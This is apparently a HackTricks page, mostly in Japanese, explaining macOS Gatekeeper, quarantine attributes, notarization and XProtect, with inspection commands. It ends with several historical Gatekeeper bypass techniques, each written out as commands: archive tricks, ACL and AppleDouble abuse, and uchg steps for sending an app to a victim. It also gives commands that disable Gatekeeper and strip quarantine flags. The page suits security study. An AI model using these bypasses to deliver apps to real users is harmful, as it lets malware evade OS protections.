macOS Gatekeeper / Quarantine / XProtect

Support HackTricks

Gatekeeper

Gatekeeperは、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが信頼できるソフトウェアのみを実行することを保証するために設計されています。これは、ユーザーがApp Store以外のソースからダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を検証することによって機能します。

Gatekeeperの主要なメカニズムは、その検証プロセスにあります。ダウンロードされたソフトウェアが認識された開発者によって署名されているかを確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアがAppleによって公証されているかを確認し、既知の悪意のあるコンテンツが含まれておらず、公証後に改ざんされていないことを確認します。

加えて、Gatekeeperは、ユーザーがダウンロードしたソフトウェアを初めて開くことを承認するよう促すことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。

アプリケーション署名

アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、ソフトウェアの著者(開発者)の身元を確認するために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。

以下はその仕組みです:

  1. アプリケーションの署名: 開発者がアプリケーションを配布する準備が整ったとき、彼らはプライベートキーを使用してアプリケーションに署名します。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する証明書に関連付けられています。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。

  2. アプリケーションの配布: 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。

  3. アプリケーションの検証: ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、アプリケーションは開発者が署名して以来変更されていないことを意味し、システムはアプリケーションの実行を許可します。

アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーがインターネットからダウンロードしたアプリケーションを開こうとすると、Gatekeeperはアプリケーション署名を検証します。これがAppleによって知られた開発者に発行された証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。

macOS Catalina以降、GatekeeperはアプリケーションがAppleによって公証されているかどうかも確認します。これにより、セキュリティの追加層が加わります。公証プロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。

署名の確認

いくつかのマルウェアサンプルを確認する際は、常にバイナリの署名を確認するべきです。署名した開発者がすでにマルウェアに関連している可能性があるためです。

# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

# Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

# Get entitlements from the binary
codesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms

# Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

# Sign a binary
codesign -s <cert-name-keychain> toolsdemo

Notarization

Appleのノータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護するための追加の安全策として機能します。これは、開発者が自分のアプリケーションを Appleのノータリーサービスに審査のために提出することを含み、App Reviewと混同しないでください。このサービスは、自動化されたシステムであり、提出されたソフトウェアに悪意のあるコンテンツやコード署名に関する潜在的な問題がないかを精査します。

ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はその後、このチケットを自分のソフトウェアに添付する必要があり、このプロセスは「ステープリング」と呼ばれます。さらに、ノータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。

ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - GatekeeperにそのソフトウェアがAppleによってノータリゼーションされたことを通知します。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼が高まります。

Enumerating GateKeeper

GateKeeperは、信頼されていないアプリの実行を防ぐいくつかのセキュリティコンポーネントであり、またそのコンポーネントの一つでもあります。

GateKeeperのステータスを確認することができます:

# Check the status
spctl --status

注意してください。GateKeeperの署名チェックは、Quarantine属性を持つファイルに対してのみ実行され、すべてのファイルに対して行われるわけではありません。

GateKeeperは、設定と署名に基づいてバイナリが実行可能かどうかを確認します:

この設定を保持するデータベースは**/var/db/SystemPolicy**にあります。rootとしてこのデータベースを確認することができます:

# Open database
sqlite3 /var/db/SystemPolicy

# Get allowed rules
SELECT requirement,allow,disabled,label from authority where label != 'GKE' and disabled=0;
requirement|allow|disabled|label
anchor apple generic and certificate 1[subject.CN] = "Apple Software Update Certification Authority"|1|0|Apple Installer
anchor apple|1|0|Apple System
anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists|1|0|Mac App Store
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]

注意してください、最初のルールは "App Store" で終わり、2番目のルールは "Developer ID" で終わり、前の画像では App Store と認識された開発者からのアプリを実行することが有効になっていました。 その設定を App Store に 変更すると、"Notarized Developer ID" ルールは消えます。

また、タイプ GKE のルールが数千あります:

SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
cdhash H"5fd63f5342ac0c7c0774ebcbecaf8787367c480f"|1|0|GKE
cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE

これらは**/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth/var/db/gke.bundle/Contents/Resources/gk.dbおよび/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db**からのハッシュです。

または、次の情報をリストすることもできます:

sudo spctl --list

The options --master-disable and --global-disable of spctl will completely 無効化 these signature checks:

# Disable GateKeeper
spctl --global-disable
spctl --master-disable

# Enable it
spctl --global-enable
spctl --master-enable

完全に有効にすると、新しいオプションが表示されます:

アプリがGateKeeperによって許可されるかどうかを確認することができます

spctl --assess -v /Applications/App.app

新しいルールをGateKeeperに追加して、特定のアプリの実行を許可することが可能です:

# Check if allowed - nop
spctl --assess -v /Applications/App.app
/Applications/App.app: rejected
source=no usable signature

# Add a label and allow this label in GateKeeper
sudo spctl --add --label "whitelist" /Applications/App.app
sudo spctl --enable --label "whitelist"

# Check again - yep
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted

Quarantine Files

アプリケーションやファイルをダウンロードすると、特定のmacOS アプリケーション(ウェブブラウザやメールクライアントなど)がダウンロードしたファイルに、一般に「隔離フラグ」として知られる拡張ファイル属性付加します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを示すセキュリティ対策として機能し、潜在的なリスクを伴います。しかし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。

隔離フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります

隔離フラグが存在しない場合(一部のBitTorrentクライアントを介してダウンロードされたファイルなど)、Gatekeeperのチェックは行われない可能性があります。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードしたファイルを開く際には注意を払うべきです。

コード署名の 有効性確認することは、コードとそのバンドルされたリソースすべての暗号学的ハッシュを生成することを含むリソース集約的なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーにオンラインチェックを行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは非現実的です

したがって、これらのチェックは隔離属性を持つアプリを実行する際にのみ実行されます。

この属性は、ファイルを作成/ダウンロードするアプリケーションによって設定される必要があります

ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。そして、サンドボックス化されていないアプリは自分で設定するか、Info.plistLSFileQuarantineEnabledキーを指定することで、システムが作成されたファイルにcom.apple.quarantine拡張属性を設定するようにできます。

さらに、**qtn_proc_apply_to_self**を呼び出すプロセスによって作成されたすべてのファイルは隔離されます。また、API **qtn_file_apply_to_path**は指定されたファイルパスに隔離属性を追加します。

そのステータスを確認し、有効/無効にする(rootが必要)ことが可能です:

spctl --status
assessments enabled

spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"

あなたはまた、ファイルが隔離の拡張属性を持っているかどうかを確認することができます:

xattr file.png
com.apple.macl
com.apple.quarantine

拡張属性を確認し、次のコマンドを使用して隔離属性を書き込んだアプリを特定します:

xattr -l portada.png
com.apple.macl:
00000000  03 00 53 DA 55 1B AE 4C 4E 88 9D CA B7 5C 50 F3  |..S.U..LN.....P.|
00000010  16 94 03 00 27 63 64 97 98 FB 4F 02 84 F3 D0 DB  |....'cd...O.....|
00000020  89 53 C3 FC 03 00 27 63 64 97 98 FB 4F 02 84 F3  |.S....'cd...O...|
00000030  D0 DB 89 53 C3 FC 00 00 00 00 00 00 00 00 00 00  |...S............|
00000040  00 00 00 00 00 00 00 00                          |........|
00000048
com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# 00c1 -- It has been allowed to eexcute this file (QTN_FLAG_USER_APPROVED = 0x0040)
# 607842eb -- Timestamp
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded

実際、プロセスは「作成したファイルに対して隔離フラグを設定できる」(作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした):

ソースコード 隔離フラグを適用

```c #include #include

enum qtn_flags { QTN_FLAG_DOWNLOAD = 0x0001, QTN_FLAG_SANDBOX = 0x0002, QTN_FLAG_HARD = 0x0004, QTN_FLAG_USER_APPROVED = 0x0040, };

#define qtn_proc_alloc _qtn_proc_alloc #define qtn_proc_apply_to_self _qtn_proc_apply_to_self #define qtn_proc_free _qtn_proc_free #define qtn_proc_init _qtn_proc_init #define qtn_proc_init_with_self _qtn_proc_init_with_self #define qtn_proc_set_flags _qtn_proc_set_flags #define qtn_file_alloc _qtn_file_alloc #define qtn_file_init_with_path _qtn_file_init_with_path #define qtn_file_free _qtn_file_free #define qtn_file_apply_to_path _qtn_file_apply_to_path #define qtn_file_set_flags _qtn_file_set_flags #define qtn_file_get_flags _qtn_file_get_flags #define qtn_proc_set_identifier _qtn_proc_set_identifier

typedef struct _qtn_proc *qtn_proc_t; typedef struct _qtn_file *qtn_file_t;

int qtn_proc_apply_to_self(qtn_proc_t); void qtn_proc_init(qtn_proc_t); int qtn_proc_init_with_self(qtn_proc_t); int qtn_proc_set_flags(qtn_proc_t, uint32_t flags); qtn_proc_t qtn_proc_alloc(); void qtn_proc_free(qtn_proc_t); qtn_file_t qtn_file_alloc(void); void qtn_file_free(qtn_file_t qf); int qtn_file_set_flags(qtn_file_t qf, uint32_t flags); uint32_t qtn_file_get_flags(qtn_file_t qf); int qtn_file_apply_to_path(qtn_file_t qf, const char *path); int qtn_file_init_with_path(qtn_file_t qf, const char path); int qtn_proc_set_identifier(qtn_proc_t qp, const char bundleid);

int main() {

qtn_proc_t qp = qtn_proc_alloc(); qtn_proc_set_identifier(qp, "xyz.hacktricks.qa"); qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED); qtn_proc_apply_to_self(qp); qtn_proc_free(qp);

FILE *fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);

return 0;

}

</details>

そして、その属性を次のように**削除**します:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine

そして、次のコマンドで隔離されたすべてのファイルを見つけます:

find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"

隔離情報は、~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 にあるLaunchServicesによって管理される中央データベースに保存されます。

Quarantine.kext

カーネル拡張は、システムのカーネルキャッシュを通じてのみ利用可能ですが、https://developer.apple.com/ から Kernel Debug Kit をダウンロードすることで、拡張のシンボリケート版を含むことができます。

XProtect

XProtectはmacOSに組み込まれたアンチマルウェア機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースと照合します。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectはファイルの実行を防ぎ、脅威を警告します。

XProtectのデータベースは、Appleによって定期的に更新され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。

ただし、XProtectはフル機能のアンチウイルスソリューションではないことに注意が必要です。特定の既知の脅威のリストをチェックするだけであり、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行することはありません。

最新のXProtectの更新情報を取得するには、次のコマンドを実行します:

system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5

XProtectは、/Library/Apple/System/Library/CoreServices/XProtect.bundleのSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています:

  • XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist: これらのcdhashを持つコードがレガシー権限を使用することを許可します。

  • XProtect.bundle/Contents/Resources/XProtect.meta.plist: BundleIDおよびTeamIDを介して読み込むことが禁止されているプラグインと拡張機能のリスト、または最小バージョンを示します。

  • XProtect.bundle/Contents/Resources/XProtect.yara: マルウェアを検出するためのYaraルール。

  • XProtect.bundle/Contents/Resources/gk.db: ブロックされたアプリケーションとTeamIDのハッシュを含むSQLite3データベース。

**/Library/Apple/System/Library/CoreServices/XProtect.app**には、Gatekeeperプロセスに関与しないXProtectに関連する別のアプリがあります。

Not Gatekeeper

Gatekeeperは、アプリケーションを実行するたびに実行されるわけではありません。実際には、AppleMobileFileIntegrity (AMFI)は、Gatekeeperによってすでに実行され、検証されたアプリを実行する際にのみ実行可能コードの署名を検証します。

したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後アプリケーションの実行可能でないファイルを変更する(ElectronのasarやNIBファイルなど)ことが可能でした。他の保護がなければ、アプリケーションは悪意のある追加とともに実行されました

しかし、現在はmacOSがアプリケーションバンドル内のファイルの変更を防ぐため、これは不可能です。したがって、Dirty NIB攻撃を試みると、Gatekeeperでキャッシュするためにアプリを実行した後、バンドルを変更できなくなるため、もはや悪用できないことがわかります。たとえば、Contentsディレクトリの名前をNotConに変更し(エクスプロイトで示されているように)、その後アプリのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生し、実行されません。

Gatekeeper Bypasses

Gatekeeperをバイパスする方法(ユーザーに何かをダウンロードさせ、Gatekeeperがそれを拒否すべきときに実行させること)は、macOSの脆弱性と見なされます。以下は、過去にGatekeeperをバイパスすることを可能にした技術に割り当てられたCVEのいくつかです:

Archive Utilityを使用して抽出すると、886文字を超えるパスを持つファイルはcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、意図せずにそれらのファイルがGatekeeperのセキュリティチェックを回避することを可能にします。

詳細については、元の報告を確認してください。

アプリケーションがAutomatorで作成されると、実行に必要な情報はapplication.app/Contents/document.wflow内にあり、実行可能ファイルにはありません。実行可能ファイルは、Automator Application Stubと呼ばれる一般的なAutomatorバイナリです。

したがって、application.app/Contents/MacOS/Automator\ Application\ Stubシンボリックリンクでシステム内の別のAutomator Application Stubにポイントさせることができ、document.wflow(あなたのスクリプト)内の内容をGatekeeperをトリガーせずに実行します。

期待される場所の例:/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub

詳細については、元の報告を確認してください。

このバイパスでは、application.app/Contentsから圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、quarantine attrはすべての**application.app/Contentsのファイルに適用されましたが、application.appには適用されませんでした**。これがGatekeeperがチェックしていたもので、application.appがトリガーされたときにquarantine属性を持っていなかったため、Gatekeeperはバイパスされました。

zip -r test.app/Contents test.zip

Check the original report for more information.

コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、application.app/Contents から Apple Archive を生成するので、application.appArchive Utility によって解凍されるときに検疫属性を取得しません。

aa archive -d test.app/Contents -o test.app.aar

Check the original report for more information.

ACL writeextattr は、誰もファイルに属性を書き込むのを防ぐために使用できます:

touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'

さらに、AppleDoubleファイル形式は、ファイルをそのACEを含めてコピーします。

ソースコードでは、com.apple.acl.textというxattr内に保存されたACLのテキスト表現が、解凍されたファイルのACLとして設定されることがわかります。したがって、他のxattrsが書き込まれるのを防ぐACLを持つAppleDoubleファイル形式のzipファイルにアプリケーションを圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした:

chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

詳細については、元のレポートを確認してください。

これがAppleArchivesでも悪用される可能性があることに注意してください:

mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar

Google Chromeがダウンロードしたファイルにクアランティン属性を設定していなかったことが、macOSの内部問題によって発見されました。

AppleDoubleファイル形式は、ファイルの属性を._で始まる別のファイルに保存します。これにより、macOSマシン間でファイル属性をコピーすることができます。しかし、AppleDoubleファイルを解凍した後、._で始まるファイルにクアランティン属性が与えられなかったことが確認されました。

mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar

# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute

クアランティン属性が設定されないファイルを作成できることで、Gatekeeperをバイパスすることが可能でした。 トリックは、AppleDouble名付け規則を使用してDMGファイルアプリケーションを作成し、この隠しファイルへのシンボリックリンクとして可視ファイルを作成することでした。 dmgファイルが実行されると、クアランティン属性がないため、Gatekeeperをバイパスします。

# Create an app bundle with the backdoor an call it app.app

echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg

echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg

echo "[+] compressing files"
aa archive -d s/ -o app.aar

uchg (from this talk)

  • アプリを含むディレクトリを作成します。

  • アプリにuchgを追加します。

  • アプリをtar.gzファイルに圧縮します。

  • tar.gzファイルを被害者に送信します。

  • 被害者はtar.gzファイルを開き、アプリを実行します。

  • Gatekeeperはアプリをチェックしません。

Quarantine xattrの防止

".app"バンドルにquarantine xattrが追加されていない場合、実行時にGatekeeperはトリガーされません

Last updated